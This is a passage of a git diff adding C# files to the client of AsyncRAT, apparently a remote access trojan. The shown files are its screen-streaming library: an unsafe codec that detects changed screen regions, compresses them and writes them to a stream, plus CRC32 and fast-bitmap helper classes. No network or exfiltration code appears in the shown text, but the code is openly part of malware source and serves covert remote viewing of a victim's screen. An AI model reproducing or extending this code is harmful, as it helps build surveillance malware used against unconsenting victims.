Rectangle(x, y, CheckBlock.Width, CheckBlock.Height); + int index = points.Count - 1; + if (points.Count > 0 && (points[index].X + points[index].Width) == cBlock.X) + { + Rectangle rect = points[index]; + int newWidth = cBlock.Width + rect.Width; + cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); + points[index] = cBlock; + } + else + { + points.Add(cBlock); + } + } + } + } + return points; + } + + private Point GetOffsetPoint(int x, int y) + { + return new Point((int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth, + (int)Math.Floor((double)(x / CheckBlock.Width))); + } + + private int GetOffset(int x, int y) + { + return (int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth + + (int)Math.Floor((double)(x / CheckBlock.Width)); + } + + public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + + if (decodedBitmap == null) + { + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + + List updates = new List(); + Rectangle rect; + Graphics g = Graphics.FromImage(decodedBitmap); + Bitmap tmp; + byte[] buffer = null; + MemoryStream m; + + while (DataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int UpdateLen = BitConverter.ToInt32(tempData, 16); + buffer = new byte[UpdateLen]; + inStream.Read(buffer, 0, buffer.Length); + + if (onDecodeDebugScan != null) + onDecodeDebugScan(rect); + + m = new MemoryStream(buffer); + tmp = (Bitmap)Image.FromStream(m); + g.DrawImage(tmp, rect.Location); + tmp.Dispose(); + + m.Close(); + m.Dispose(); + DataSize -= UpdateLen + (4 * 5); + } + g.Dispose(); + return decodedBitmap; + } + + public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) + { + if (Length < 4) + return decodedBitmap; + + int DataSize = *(int*)(CodecBuffer); + if (decodedBitmap == null) + { + byte[] temp = new byte[DataSize]; + fixed (byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); + } + + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + + byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); + if (DataSize > 0) + { + Graphics g = Graphics.FromImage(decodedBitmap); + for (int i = 4; DataSize > 0; ) + { + Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), + *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12)); + int UpdateLen = *(int*)(bufferPtr + i + 16); + byte[] temp = new byte[UpdateLen]; + + fixed (byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); + using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) + { + g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); + } + } + DataSize -= UpdateLen + (4 * 5); + i += UpdateLen + (4 * 5); + } + g.Dispose(); + } + return decodedBitmap; + } + } +} diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs new file mode 100644 index 0000000..966b812 --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs @@ -0,0 +1,363 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.UnsafeCodecs +{ + public class UnsafeStreamCodec : IUnsafeCodec + { + public override ulong CachedSize + { + get; + internal set; + } + + public override int BufferCount + { + get { return 1; } + } + + public override CodecOption CodecOptions + { + get { return CodecOption.RequireSameSize; } + } + + public Size CheckBlock { get; private set; } + private byte[] EncodeBuffer; + private Bitmap decodedBitmap; + private PixelFormat EncodedFormat; + private int EncodedWidth; + private int EncodedHeight; + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + bool UseJPEG; + + /// + /// Initialize a new object of UnsafeStreamCodec + /// + /// The quality to use between 0-100 + public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true) + : base(ImageQuality) + { + this.CheckBlock = new Size(50, 1); + this.UseJPEG = UseJPEG; + } + + public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) + { + lock (ImageProcessLock) + { + byte* pScan0 = (byte*)Scan0.ToInt32(); + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + int Stride = 0; + int RawLength = 0; + int PixelSize = 0; + + switch (Format) + { + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + PixelSize = 3; + break; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + PixelSize = 4; + break; + default: + throw new NotSupportedException(Format.ToString()); + } + + Stride = ImageSize.Width * PixelSize; + RawLength = Stride * ImageSize.Height; + + if (EncodeBuffer == null) + { + this.EncodedFormat = Format; + this.EncodedWidth = ImageSize.Width; + this.EncodedHeight = ImageSize.Height; + this.EncodeBuffer = new byte[RawLength]; + fixed (byte* ptr = EncodeBuffer) + { + byte[] temp = null; + using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) + { + temp = base.jpgCompression.Compress(TmpBmp); + } + + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); + } + return; + } + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + + if (this.EncodedFormat != Format) + throw new Exception("PixelFormat is not equal to previous Bitmap"); + + if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height) + throw new Exception("Bitmap width/height are not equal to previous bitmap"); + + List Blocks = new List(); + int index = 0; + + Size s = new Size(ScanArea.Width, CheckBlock.Height); + Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height); + + int lasty = ScanArea.Height - lastSize.Height; + int lastx = ScanArea.Width - lastSize.Width; + + Rectangle cBlock = new Rectangle(); + List finalUpdates = new List(); + + s = new Size(ScanArea.Width, s.Height); + fixed (byte* encBuffer = EncodeBuffer) + { + for (int y = ScanArea.Y; y != ScanArea.Height; ) + { + if (y == lasty) + s = new Size(ScanArea.Width, lastSize.Height); + cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height); + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + int offset = (y * Stride) + (ScanArea.X * PixelSize); + if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0) + { + index = Blocks.Count - 1; + if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) + { + cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); + Blocks[index] = cBlock; + } + else + { + Blocks.Add(cBlock); + } + } + y += s.Height; + } + + for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++) + { + s = new Size(CheckBlock.Width, Blocks[i].Height); + x = ScanArea.X; + while (x != ScanArea.Width) + { + if (x == lastx) + s = new Size(lastSize.Width, Blocks[i].Height); + + cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height); + bool FoundChanges = false; + int blockStride = PixelSize * cBlock.Width; + + for (int j = 0; j < cBlock.Height; j++) + { + int blockOffset = (Stride * (cBlock.Y+j)) + (PixelSize * cBlock.X); + if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0) + FoundChanges = true; + NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + } + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + if(FoundChanges) + { + index = finalUpdates.Count - 1; + if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) + { + Rectangle rect = finalUpdates[index]; + int newWidth = cBlock.Width + rect.Width; + cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); + finalUpdates[index] = cBlock; + } + else + { + finalUpdates.Add(cBlock); + } + } + x += s.Width; + } + } + } + + /*int maxHeight = 0; + int maxWidth = 0; + + for (int i = 0; i < finalUpdates.Count; i++) + { + if (finalUpdates[i].Height > maxHeight) + maxHeight = finalUpdates[i].Height; + maxWidth += finalUpdates[i].Width; + } + + Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1); + int XOffset = 0;*/ + + for (int i = 0; i < finalUpdates.Count; i++) + { + Rectangle rect = finalUpdates[i]; + int blockStride = PixelSize * rect.Width; + + Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); + BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); + NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + offset += blockStride; + } + TmpBmp.UnlockBits(TmpData); + + /*using (Graphics g = Graphics.FromImage(bmp)) + { + g.DrawImage(TmpBmp, new Point(XOffset, 0)); + } + XOffset += TmpBmp.Width;*/ + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(new byte[4], 0, 4); + + long length = outStream.Length; + long OldPos = outStream.Position; + + if (UseJPEG) + { + base.jpgCompression.Compress(TmpBmp, ref outStream); + } + else + { + base.lzwCompression.Compress(TmpBmp, outStream); + } + + length = outStream.Position - length; + + outStream.Position = OldPos - 4; + outStream.Write(BitConverter.GetBytes((int)length), 0, 4); + outStream.Position += length; + TmpBmp.Dispose(); + TotalDataLength += (int)length + (4 * 5); + } + + /*if (finalUpdates.Count > 0) + { + byte[] lele = base.jpgCompression.Compress(bmp); + byte[] compressed = new SafeQuickLZ().compress(lele, 0, lele.Length, 1); + bool Won = lele.Length < outStream.Length; + bool CompressWon = compressed.Length < outStream.Length; + Console.WriteLine(Won + ", " + CompressWon); + } + bmp.Dispose();*/ + + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); + Blocks.Clear(); + finalUpdates.Clear(); + } + } + + public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length) + { + if (Length < 4) + return decodedBitmap; + + int DataSize = *(int*)(CodecBuffer); + if (decodedBitmap == null) + { + byte[] temp = new byte[DataSize]; + fixed (byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); + } + + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + return decodedBitmap; + byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); + if (DataSize > 0) + { + Graphics g = Graphics.FromImage(decodedBitmap); + for (int i = 4; DataSize > 0; ) + { + Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), + *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12)); + int UpdateLen = *(int*)(bufferPtr + i + 16); + byte[] temp = new byte[UpdateLen]; + + fixed(byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); + using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) + { + g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); + } + } + DataSize -= UpdateLen + (4 * 5); + i += UpdateLen + (4 * 5); + } + g.Dispose(); + } + return decodedBitmap; + } + + public override Bitmap DecodeData(Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + + if (decodedBitmap == null) + { + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + + using (Graphics g = Graphics.FromImage(decodedBitmap)) + { + while (DataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int UpdateLen = BitConverter.ToInt32(tempData, 16); + tempData = null; + + byte[] buffer = new byte[UpdateLen]; + inStream.Read(buffer, 0, buffer.Length); + + if (onDecodeDebugScan != null) + onDecodeDebugScan(rect); + + using (MemoryStream m = new MemoryStream(buffer)) + using (Bitmap tmp = (Bitmap)Image.FromStream(m)) + { + g.DrawImage(tmp, rect.Location); + } + buffer = null; + DataSize -= UpdateLen + (4 * 5); + } + } + return decodedBitmap; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs b/AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs new file mode 100644 index 0000000..7e89054 --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/src/CRC32.cs @@ -0,0 +1,186 @@ +// Tamir Khason http://khason.net/ +// +// Released under MS-PL : 6-Apr-09 +using System; +using System.Collections.Generic; +using System.Text; +using System.Security.Cryptography; +using System.Collections; +using System.IO; + +namespace StreamLibrary.src +{ + /// Implements a 32-bits cyclic redundancy check (CRC) hash algorithm. + /// This class is not intended to be used for security purposes. For security applications use MD5, SHA1, SHA256, SHA384, + /// or SHA512 in the System.Security.Cryptography namespace. + public class CRC32 : HashAlgorithm + { + #region CONSTRUCTORS + /// Creates a CRC32 object using the . + public CRC32() + : this(DefaultPolynomial) + { + } + + /// Creates a CRC32 object using the specified polynomial. + /// The polynomical should be supplied in its bit-reflected form. . + public CRC32(uint polynomial) + { + HashSizeValue = 32; + _crc32Table = (uint[])_crc32TablesCache[polynomial]; + if (_crc32Table == null) + { + _crc32Table = CRC32._buildCRC32Table(polynomial); + _crc32TablesCache.Add(polynomial, _crc32Table); + } + Initialize(); + } + + // static constructor + static CRC32() + { + _crc32TablesCache = Hashtable.Synchronized(new Hashtable()); + _defaultCRC = new CRC32(); + } + #endregion + + #region PROPERTIES + /// Gets the default polynomial (used in WinZip, Ethernet, etc.) + /// The default polynomial is a bit-reflected version of the standard polynomial 0x04C11DB7 used by WinZip, Ethernet, etc. + public static readonly uint DefaultPolynomial = 0xEDB88320; // Bitwise reflection of 0x04C11DB7; + #endregion + + #region METHODS + /// Initializes an implementation of HashAlgorithm. + public override void Initialize() + { + _crc = _allOnes; + } + + /// Routes data written to the object into the hash algorithm for computing the hash. + protected override void HashCore(byte[] buffer, int offset, int count) + { + for (int i = offset; i < count; i++) + { + ulong ptr = (_crc & 0xFF) ^ buffer[i]; + _crc >>= 8; + _crc ^= _crc32Table[ptr]; + } + } + + /// Finalizes the hash computation after the last data is processed by the cryptographic stream object. + protected override byte[] HashFinal() + { + byte[] finalHash = new byte[4]; + ulong finalCRC = _crc ^ _allOnes; + + finalHash[0] = (byte)((finalCRC >> 0) & 0xFF); + finalHash[1] = (byte)((finalCRC >> 8) & 0xFF); + finalHash[2] = (byte)((finalCRC >> 16) & 0xFF); + finalHash[3] = (byte)((finalCRC >> 24) & 0xFF); + + return finalHash; + } + + /// Computes the CRC32 value for the given ASCII string using the . + public static int Compute(string asciiString) + { + _defaultCRC.Initialize(); + return ToInt32(_defaultCRC.ComputeHash(asciiString)); + } + + /// Computes the CRC32 value for the given input stream using the . + public static int Compute(Stream inputStream) + { + _defaultCRC.Initialize(); + return ToInt32(_defaultCRC.ComputeHash(inputStream)); + } + + /// Computes the CRC32 value for the input data using the . + public static int Compute(byte[] buffer) + { + _defaultCRC.Initialize(); + return ToInt32(_defaultCRC.ComputeHash(buffer)); + } + + /// Computes the hash value for the input data using the . + public static int Compute(byte[] buffer, int offset, int count) + { + _defaultCRC.Initialize(); + return ToInt32(_defaultCRC.ComputeHash(buffer, offset, count)); + } + + /// Computes the hash value for the given ASCII string. + /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. + public byte[] ComputeHash(string asciiString) + { + byte[] rawBytes = ASCIIEncoding.ASCII.GetBytes(asciiString); + return ComputeHash(rawBytes); + } + + /// Computes the hash value for the given input stream. + /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. + new public byte[] ComputeHash(Stream inputStream) + { + byte[] buffer = new byte[4096]; + int bytesRead; + while ((bytesRead = inputStream.Read(buffer, 0, 4096)) > 0) + { + HashCore(buffer, 0, bytesRead); + } + return HashFinal(); + } + + /// Computes the hash value for the input data. + /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. + new public byte[] ComputeHash(byte[] buffer) + { + return ComputeHash(buffer, 0, buffer.Length); + } + + /// Computes the hash value for the input data. + /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. + new public byte[] ComputeHash(byte[] buffer, int offset, int count) + { + HashCore(buffer, offset, count); + return HashFinal(); + } + #endregion + + #region PRIVATE SECTION + private static uint _allOnes = 0xffffffff; + private static CRC32 _defaultCRC; + private static Hashtable _crc32TablesCache; + private uint[] _crc32Table; + private uint _crc; + + // Builds a crc32 table given a polynomial + private static uint[] _buildCRC32Table(uint polynomial) + { + uint crc; + uint[] table = new uint[256]; + + // 256 values representing ASCII character codes. + for (int i = 0; i < 256; i++) + { + crc = (uint)i; + for (int j = 8; j > 0; j--) + { + if ((crc & 1) == 1) + crc = (crc >> 1) ^ polynomial; + else + crc >>= 1; + } + table[i] = crc; + } + + return table; + } + + private static int ToInt32(byte[] buffer) + { + return BitConverter.ToInt32(buffer, 0); + } + #endregion + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/ExtensionAttribute.cs b/AsyncRAT-C#/Client/StreamLibrary/src/ExtensionAttribute.cs new file mode 100644 index 0000000..5ea4bfc --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/src/ExtensionAttribute.cs @@ -0,0 +1,12 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace System.Runtime.CompilerServices +{ + [AttributeUsage(AttributeTargets.Method)] + public sealed class ExtensionAttribute : Attribute + { + public ExtensionAttribute() { } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/Extentions.cs b/AsyncRAT-C#/Client/StreamLibrary/src/Extentions.cs new file mode 100644 index 0000000..82590e7 --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/src/Extentions.cs @@ -0,0 +1,59 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Text; + +namespace StreamLibrary.src +{ + public static unsafe class Extensions + { + public static SortedList> RectanglesTo2D(this Rectangle[] rects) + { + SortedList> Rects = new SortedList>(); + for (int i = 0; i < rects.Length; i++) + { + if (!Rects.ContainsKey(rects[i].Y)) + Rects.Add(rects[i].Y, new SortedList()); + + if (!Rects[rects[i].Y].ContainsKey(rects[i].X)) + Rects[rects[i].Y].Add(rects[i].X, rects[i]); + } + return Rects; + } + + public static SortedList> Rectangle2DToRows(this SortedList> Rects) + { + SortedList> RectRows = new SortedList>(); + + for (int i = 0; i < Rects.Values.Count; i++) + { + if (!RectRows.ContainsKey(Rects.Values[i].Values[0].Y)) + { + RectRows.Add(Rects.Values[i].Values[0].Y, new SortedList()); + } + if (!RectRows[Rects.Values[i].Values[0].Y].ContainsKey(Rects.Values[i].Values[0].X)) + { + RectRows[Rects.Values[i].Values[0].Y].Add(Rects.Values[i].Values[0].X, Rects.Values[i].Values[0]); + } + + Rectangle EndRect = Rects.Values[i].Values[0]; + for (int x = 1; x < Rects.Values[i].Values.Count; x++) + { + Rectangle CurRect = Rects.Values[i].Values[x]; + Rectangle tmpRect = RectRows[EndRect.Y].Values[RectRows[EndRect.Y].Count - 1]; + if (tmpRect.IntersectsWith(new Rectangle(CurRect.X - 1, CurRect.Y, CurRect.Width, CurRect.Height))) + { + RectRows[EndRect.Y][tmpRect.X] = new Rectangle(tmpRect.X, tmpRect.Y, tmpRect.Width + EndRect.Width, tmpRect.Height); + EndRect = Rects.Values[i].Values[x]; + } + else + { + EndRect = Rects.Values[i].Values[x]; + RectRows[Rects.Values[i].Values[0].Y].Add(EndRect.X, EndRect); + } + } + } + return RectRows; + } + } +} diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/FastBitmap.cs b/AsyncRAT-C#/Client/StreamLibrary/src/FastBitmap.cs new file mode 100644 index 0000000..319d630 --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/src/FastBitmap.cs @@ -0,0 +1,353 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.Text; + +namespace StreamLibrary.src +{ + public unsafe class FastBitmap + { + public Bitmap bitmap { get; set; } + public BitmapData bitmapData { get; private set; } + public int Width { get; private set; } + public int Height { get; private set; } + public PixelFormat format { get; private set; } + public DateTime BitmapCreatedAt; + public bool IsLocked { get; private set; } + + public int Stride + { + get { return bitmapData.Stride; } + } + + public FastBitmap(Bitmap bitmap, PixelFormat format) + { + switch (format) + { + case PixelFormat.Format32bppArgb: + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + case PixelFormat.Format8bppIndexed: + case PixelFormat.Format4bppIndexed: + case PixelFormat.Format1bppIndexed: + break; + default: + throw new NotSupportedException(format + " is not supported."); + } + + this.bitmap = bitmap; + this.Width = this.bitmap.Width; + this.Height = this.bitmap.Height; + this.format = format; + Lock(); + BitmapCreatedAt = DateTime.Now; + } + + public FastBitmap(Bitmap bitmap) + { + this.format = bitmap.PixelFormat; + + switch (format) + { + case PixelFormat.Format32bppArgb: + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + case PixelFormat.Format8bppIndexed: + case PixelFormat.Format4bppIndexed: + case PixelFormat.Format1bppIndexed: + break; + default: + throw new NotSupportedException(format + " is not supported."); + } + + this.bitmap = bitmap; + this.Width = this.bitmap.Width; + this.Height = this.bitmap.Height; + this.format = format; + Lock(); + BitmapCreatedAt = DateTime.Now; + } + + public Color GetPixel(int x, int y) + { + byte* position = (byte*)bitmapData.Scan0.ToPointer(); + position += CalcOffset(x, y); + + byte A = position[3]; + byte R = position[2]; + byte G = position[1]; + byte B = position[0]; + return Color.FromArgb(A, R, G, B); + } + + public void SetPixel(int x, int y, Color color) + { + byte* position = (byte*)bitmapData.Scan0.ToPointer(); + position += CalcOffset(x, y); + + position[3] = color.A; + position[2] = color.R; + position[1] = color.G; + position[0] = color.B; + } + + public Color GetPixel(int x, int y, byte[] ImgData) + { + long offset = CalcOffset(x, y) + 4; + if (offset + 4 < ImgData.Length) + { + byte R = ImgData[offset]; + byte G = ImgData[offset + 1]; + byte B = ImgData[offset + 2]; + return Color.FromArgb(255, R, G, B); + } + return Color.FromArgb(255, 0, 0, 0); + } + public void SetPixel(int x, int y, Color color, byte[] ImgData) + { + long offset = CalcOffset(x, y) + 4; + if (offset + 4 < ImgData.Length) + { + ImgData[offset] = color.R; + ImgData[offset + 1] = color.G; + ImgData[offset + 2] = color.B; + ByteArrayToBitmap(ImgData); + } + } + + public void DrawRectangle(Point begin, Point end, Color color) + { + for (int x = begin.X; x < end.X; x++) + { + for (int y = begin.Y; y < end.Y; y++) + { + SetPixel(x, y, color); + } + } + } + + public Int64 CalcOffset(int x, int y) + { + switch (format) + { + case PixelFormat.Format32bppArgb: + return (y * bitmapData.Stride) + (x * 4); + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + return (y * bitmapData.Stride) + (x * 3); + case PixelFormat.Format8bppIndexed: + return (y * bitmapData.Stride) + x; + case PixelFormat.Format4bppIndexed: + return (y * bitmapData.Stride) + (x / 2); + case PixelFormat.Format1bppIndexed: + return (y * bitmapData.Stride) + (x * 8); + } + return 0; + } + + public static int CalcImageOffset(int x, int y, PixelFormat format, int width) + { + switch (format) + { + case PixelFormat.Format32bppArgb: + return (y * (width * 4)) + (x * 4); + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + return (y * (width * 3)) + (x * 3); + case PixelFormat.Format8bppIndexed: + return (y * width) + x; + case PixelFormat.Format4bppIndexed: + return (y * (width / 2)) + (x / 2); + case PixelFormat.Format1bppIndexed: + return (y * (width * 8)) + (x * 8); + default: + throw new NotSupportedException(format + " is not supported."); + } + } + + public void ScanPixelDuplicates(Point BeginPoint, ref Point EndPoint, ref Color RetColor) + { + Color curColor = GetPixel(BeginPoint.X, BeginPoint.Y); + for (int x = BeginPoint.X; x < this.Width; x++) + { + Color prevColor = GetPixel(x, BeginPoint.Y); + + if (curColor.R != prevColor.R || + curColor.G != prevColor.G || + curColor.B != prevColor.B) + { + EndPoint = new Point(x, BeginPoint.Y); + RetColor = curColor; + return; + } + } + + EndPoint = new Point(this.Width, BeginPoint.Y); + RetColor = curColor; + } + + public void Unlock() + { + if (IsLocked) + { + bitmap.UnlockBits(bitmapData); + IsLocked = false; + } + } + public void Lock() + { + if (!IsLocked) + { + bitmapData = bitmap.LockBits(new Rectangle(0, 0, Width, Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, format); + IsLocked = true; + } + } + + public byte[] ToByteArray() + { + int bytes = Math.Abs(bitmapData.Stride) * Height; + byte[] rgbValues = new byte[bytes]; + System.Runtime.InteropServices.Marshal.Copy(new IntPtr(bitmapData.Scan0.ToInt32()), rgbValues, 0, bytes); + return rgbValues; + } + + public void ByteArrayToBitmap(byte[] data) + { + System.Runtime.InteropServices.Marshal.Copy(data, 0, bitmapData.Scan0, data.Length); + } + + public void Dispose() + { + if (bitmap != null) + { + try { bitmap.UnlockBits(bitmapData); } + catch { } + try { bitmap.Dispose(); } + catch { } + try + { + bitmap = null; + bitmapData = null; + } + catch { } + } + } + + /// Get the byte points where to read from in a byte array + /// The beginning of the X, Y + /// The end of the X, Y + /// The size of the image + /// Slice the byte points into pieces to get the byte points faster + public static ArrayOffset[] GetBytePoints(Point beginPoint, Point endPoint, Size ImgSize, PixelFormat format) + { + List offsets = new List(); + + for (int y = beginPoint.Y; y < endPoint.Y; y++) + { + int BeginOffset = (int)FastBitmap.CalcImageOffset(beginPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (beginPoint.X * 4); + int EndOffset = (int)FastBitmap.CalcImageOffset(endPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (endPoint.X * 4); + + switch (format) + { + case PixelFormat.Format32bppArgb: + { + if (EndOffset + ((endPoint.X - beginPoint.X) * 4) >= (ImgSize.Width * ImgSize.Height) * 4) + break; + offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 4), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); + break; + } + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + { + if (EndOffset + ((endPoint.X - beginPoint.X) * 3) >= (ImgSize.Width * ImgSize.Height) * 3) + break; + offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 3), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); + break; + } + case PixelFormat.Format8bppIndexed: + { + if (EndOffset + ((endPoint.X - beginPoint.X)) >= (ImgSize.Width * ImgSize.Height)) + break; + offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X)), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); + break; + } + case PixelFormat.Format4bppIndexed: + { + if (EndOffset + ((endPoint.X - beginPoint.X) / 2) >= (ImgSize.Width * ImgSize.Height) / 2) + break; + offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) / 2), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); + break; + } + case PixelFormat.Format1bppIndexed: + { + if (EndOffset + ((endPoint.X - beginPoint.X) * 8) >= (ImgSize.Width * ImgSize.Height) * 8) + break; + offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 8), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); + break; + } + default: + { + throw new NotSupportedException(format + " is not supported."); + } + } + + } + return offsets.ToArray(); + } + + /// Get the byte points in 2D + /// The beginning of the X, Y + /// The end of the X, Y + /// The size of the image + /// Slice the byte points into pieces to get the byte points faster + public static ArrayOffset[,][] Get2DBytePoints(Point beginPoint, Point endPoint, Size ImgSize, int SlicePieces, PixelFormat format) + { + int Width = endPoint.X - beginPoint.X; + int Height = endPoint.Y - beginPoint.Y; + + float Wsize = ((float)Width / (float)SlicePieces); + float Hsize = ((float)Height / (float)SlicePieces); + + //+1 just to make sure we are not going outside the array + if (Wsize - (int)Wsize > 0.0F) Wsize += 1.0F; + if (Hsize - 